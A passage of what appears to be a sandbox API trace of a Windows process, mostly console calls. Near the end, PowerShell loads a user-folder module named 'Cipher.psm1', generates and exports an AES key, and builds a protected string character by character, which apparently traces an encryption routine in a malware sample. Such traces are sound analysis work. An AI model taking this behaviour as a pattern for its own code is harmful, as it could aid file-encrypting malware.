lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.294] GetConsoleOutputCP () returned 0x1b5 [0130.296] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae288, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae288) returned 0 [0130.296] GetConsoleOutputCP () returned 0x1b5 [0130.296] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae320, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae320) returned 0 [0130.296] GetConsoleOutputCP () returned 0x1b5 [0130.296] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.297] GetConsoleOutputCP () returned 0x1b5 [0130.297] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.297] GetConsoleOutputCP () returned 0x1b5 [0130.297] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae288, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae288) returned 0 [0130.298] GetConsoleOutputCP () returned 0x1b5 [0130.298] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae320, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae320) returned 0 [0130.298] GetConsoleOutputCP () returned 0x1b5 [0130.298] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.298] GetConsoleOutputCP () returned 0x1b5 [0130.299] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.299] GetConsoleOutputCP () returned 0x1b5 [0130.299] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae288, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae288) returned 0 [0130.299] GetConsoleOutputCP () returned 0x1b5 [0130.300] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae320, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae320) returned 0 [0130.300] GetConsoleOutputCP () returned 0x1b5 [0130.300] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.303] GetConsoleOutputCP () returned 0x1b5 [0130.303] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.304] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3c4 | out: lpConsoleScreenBufferInfo=0x99ae3c4) returned 1 [0130.304] GetConsoleOutputCP () returned 0x1b5 [0130.304] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae360) returned 0 [0130.304] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3cc | out: lpMode=0x99ae3cc) returned 1 [0130.305] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a92b84*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3c4, lpReserved=0x0 | out: lpBuffer=0x6a92b84*, lpNumberOfCharsWritten=0x99ae3c4*=0x77) returned 1 [0130.305] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3cc | out: lpMode=0x99ae3cc) returned 1 [0130.306] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3c4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3c4*=0x2) returned 1 [0130.333] GetConsoleOutputCP () returned 0x1b5 [0130.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3c0) returned 0 [0130.333] GetConsoleOutputCP () returned 0x1b5 [0130.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3c0) returned 0 [0130.334] GetConsoleOutputCP () returned 0x1b5 [0130.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3c0) returned 0 [0130.334] GetConsoleOutputCP () returned 0x1b5 [0130.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3c0) returned 0 [0130.335] GetConsoleOutputCP () returned 0x1b5 [0130.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.335] GetConsoleOutputCP () returned 0x1b5 [0130.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.336] GetConsoleOutputCP () returned 0x1b5 [0130.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.336] GetConsoleOutputCP () returned 0x1b5 [0130.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.336] GetConsoleOutputCP () returned 0x1b5 [0130.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.337] GetConsoleOutputCP () returned 0x1b5 [0130.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.337] GetConsoleOutputCP () returned 0x1b5 [0130.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.338] GetConsoleOutputCP () returned 0x1b5 [0130.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.338] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3c4 | out: lpConsoleScreenBufferInfo=0x99ae3c4) returned 1 [0130.339] GetConsoleOutputCP () returned 0x1b5 [0130.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae360) returned 0 [0130.339] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3cc | out: lpMode=0x99ae3cc) returned 1 [0130.340] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a935dc*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3c4, lpReserved=0x0 | out: lpBuffer=0x6a935dc*, lpNumberOfCharsWritten=0x99ae3c4*=0x77) returned 1 [0130.340] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3cc | out: lpMode=0x99ae3cc) returned 1 [0130.341] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3c4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3c4*=0x2) returned 1 [0130.347] GetConsoleOutputCP () returned 0x1b5 [0130.348] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.348] GetConsoleOutputCP () returned 0x1b5 [0130.348] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.348] GetConsoleOutputCP () returned 0x1b5 [0130.349] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.349] GetConsoleOutputCP () returned 0x1b5 [0130.351] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.351] GetConsoleOutputCP () returned 0x1b5 [0130.352] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.352] GetConsoleOutputCP () returned 0x1b5 [0130.352] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.352] GetConsoleOutputCP () returned 0x1b5 [0130.353] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.353] GetConsoleOutputCP () returned 0x1b5 [0130.353] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.353] GetConsoleOutputCP () returned 0x1b5 [0130.354] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.354] GetConsoleOutputCP () returned 0x1b5 [0130.354] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.354] GetConsoleOutputCP () returned 0x1b5 [0130.355] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.355] GetConsoleOutputCP () returned 0x1b5 [0130.355] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.355] GetConsoleOutputCP () returned 0x1b5 [0130.356] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.356] GetConsoleOutputCP () returned 0x1b5 [0130.356] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.356] GetConsoleOutputCP () returned 0x1b5 [0130.357] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.357] GetConsoleOutputCP () returned 0x1b5 [0130.357] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.357] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0130.358] GetConsoleOutputCP () returned 0x1b5 [0130.358] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0130.358] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0130.359] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a953f0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x6a953f0*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0130.359] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0130.360] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0130.365] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.365] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.367] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\x6100\x6a1\x61cc\x6a1\x6184\x6a1\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0130.367] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0130.367] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.367] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.367] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.370] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x80") returned 0x0 [0130.370] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0130.370] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.370] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.370] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.371] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x4396b48) returned 1 [0130.372] CryptGenKey (in: hProv=0x4396b48, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e84f78) returned 1 [0130.372] CryptContextAddRef (hProv=0x4396b48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.372] CryptExportKey (in: hKey=0x8e84f78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0130.372] CryptExportKey (in: hKey=0x8e84f78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a9ee78, pdwDataLen=0x99ae7f8 | out: pbData=0x6a9ee78*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0130.372] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.372] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.372] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.372] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.373] SysStringLen (param_1="") returned 0x8 [0130.373] SysStringLen (param_1="e") returned 0x8 [0130.373] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.373] SysStringLen (param_1="\x2cf\x1a64\x16bd\xd9b6\xbac5\xde33\x53c5\x70fe") returned 0x8 [0130.373] SysStringLen (param_1="\x2cf\x1a64\x16bd\xd9b6\xbac5\xde33\x53c5\x70fe") returned 0x8 [0130.373] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.373] SysStringLen (param_1="e6") returned 0x8 [0130.374] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.374] SysStringLen (param_1="\x54fd\x2063\x25e7\x49a8\x7215\xc6b1\x7757\xcf95") returned 0x8 [0130.374] SysStringLen (param_1="\x54fd\x2063\x25e7\x49a8\x7215\xc6b1\x7757\xcf95") returned 0x8 [0130.374] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.374] SysStringLen (param_1="e6G") returned 0x8 [0130.374] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.374] SysStringLen (param_1="\x60ae\x2ec\x3486\x8a1\xc73\x3ec6\x3e1e\x36ed") returned 0x8 [0130.374] SysStringLen (param_1="\x60ae\x2ec\x3486\x8a1\xc73\x3ec6\x3e1e\x36ed") returned 0x8 [0130.374] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.374] SysStringLen (param_1="e6GE") returned 0x8 [0130.374] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.374] SysStringLen (param_1="\x31fd\xcc27\xf040\x5c13\x588c\x5bb\xa3ec\xcef3") returned 0x8 [0130.374] SysStringLen (param_1="\x31fd\xcc27\xf040\x5c13\x588c\x5bb\xa3ec\xcef3") returned 0x8 [0130.375] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.375] SysStringLen (param_1="e6GEw") returned 0x8 [0130.375] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.375] SysStringLen (param_1="\xfa66\x8574\xdfb4\xeb5d\x362e\xacea\x8980\xaacb") returned 0x8 [0130.375] SysStringLen (param_1="\xfa66\x8574\xdfb4\xeb5d\x362e\xacea\x8980\xaacb") returned 0x8 [0130.375] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.375] SysStringLen (param_1="e6GEwC") returned 0x8 [0130.375] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.375] SysStringLen (param_1="\x1716\x50b4\x3197\x1e9f\x7f2a\x1eac\x4349\x83c9") returned 0x8 [0130.375] SysStringLen (param_1="\x1716\x50b4\x3197\x1e9f\x7f2a\x1eac\x4349\x83c9") returned 0x8 [0130.375] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.375] SysStringLen (param_1="e6GEwC/") returned 0x8 [0130.375] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.375] SysStringLen (param_1="\x8cc0\x3b55\xef24\xf2a5\xe8e4\xceef\x5f38\x8651") returned 0x8 [0130.375] SysStringLen (param_1="\x8cc0\x3b55\xef24\xf2a5\xe8e4\xceef\x5f38\x8651") returned 0x8 [0130.375] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.376] SysStringLen (param_1="e6GEwC/b") returned 0x8 [0130.376] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.376] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874") returned 0x8 [0130.376] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874") returned 0x8 [0130.376] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874") returned 0x8 [0130.376] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874") returned 0x10 [0130.376] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.376] SysStringLen (param_1="e6GEwC/bE歀∳ɱ箵袧") returned 0x10 [0130.376] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.376] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xd271\x2c7d\xd5a4\x56be\x6445\x1a16\x4681\xb94f") returned 0x10 [0130.376] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xd271\x2c7d\xd5a4\x56be\x6445\x1a16\x4681\xb94f") returned 0x10 [0130.376] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.376] SysStringLen (param_1="e6GEwC/bEh歀∳ɱ箵袧") returned 0x10 [0130.376] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.376] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\x614\xa3c9\xa3c1\xb262\xd011\x6f9c\x5f81\xdd46") returned 0x10 [0130.376] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\x614\xa3c9\xa3c1\xb262\xd011\x6f9c\x5f81\xdd46") returned 0x10 [0130.377] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.377] SysStringLen (param_1="e6GEwC/bEh6∳ɱ箵袧") returned 0x10 [0130.377] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.377] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\x957d\x547e\x6a4a\x4215\xe827\x9146\x6b1c\xffc2") returned 0x10 [0130.377] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\x957d\x547e\x6a4a\x4215\xe827\x9146\x6b1c\xffc2") returned 0x10 [0130.377] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.377] SysStringLen (param_1="e6GEwC/bEh6Pɱ箵袧") returned 0x10 [0130.377] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.377] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\x5a1c\x34c6\xcaa5\x9b5c\x48fb\x3e4a\x8521\x3048") returned 0x10 [0130.377] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\x5a1c\x34c6\xcaa5\x9b5c\x48fb\x3e4a\x8521\x3048") returned 0x10 [0130.377] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.377] SysStringLen 